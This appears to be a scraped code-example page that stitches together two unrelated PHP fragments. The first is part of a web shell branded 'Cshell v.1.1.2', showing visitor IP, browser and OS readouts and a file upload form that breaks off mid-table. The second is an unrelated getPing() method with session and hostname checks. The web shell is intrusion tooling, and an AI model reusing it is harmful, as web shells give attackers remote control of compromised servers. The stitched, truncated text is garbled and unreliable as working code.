Example #1
0
    print Host("ip");
    ?>
<br>

				Browser: <?php 
    print Host("brow");
    ?>
<br>

				Os: <?php 
    print Host("os");
    ?>
<br>

				Data: <?php 
    print Host("date");
    ?>
<br>

			</span><br>

			<div align="center" id="spam">Powered&nbsp;&nbsp;by&nbsp;&nbsp;<a target="_blank" href="http://gabryhacker.altervista.org/#cshell">Cshell</a>&nbsp;&nbsp;v.&nbsp;&nbsp;1.1.2</div>

			<hr><br>

			<div id="col">

				<form name="upload" action="" method="post" enctype="multipart/form-data">

					<table>
 /** getPing() Performs the ping stuff.
  * @return void
  */
 public function getPing()
 {
     try {
         $ping = $_REQUEST['ping'];
         if (!$_SESSION['AllowAJAXTasks']) {
             throw new Exception(_('FOG Session Invalid'));
         }
         if (!$ping || $ping == 'undefined') {
             throw new Exception(_('Undefined host to ping'));
         }
         if (!HostManager::isHostnameSafe($ping)) {
             throw new Exception(_('Invalid Hostname'));
         }
         if (is_numeric($ping)) {
             $Host = Host($ping);
             $ping = $Host->get('name');
         }
         // Resolve Hostname
         $ip = gethostbyname($ping);
         if ($ip == $ping) {
             throw new Exception(_('Unable to resolve hostname'));
         }
         $result = $this->getClass('Ping', $ip)->execute();
         if ($result !== true) {
             throw new Exception($result);
         }
         $SendMe = true;
     } catch (Exception $e) {
         $SendMe = $e->getMessage();
     }
     if ($this->isAJAXRequest()) {
         print $SendMe;
     }
 }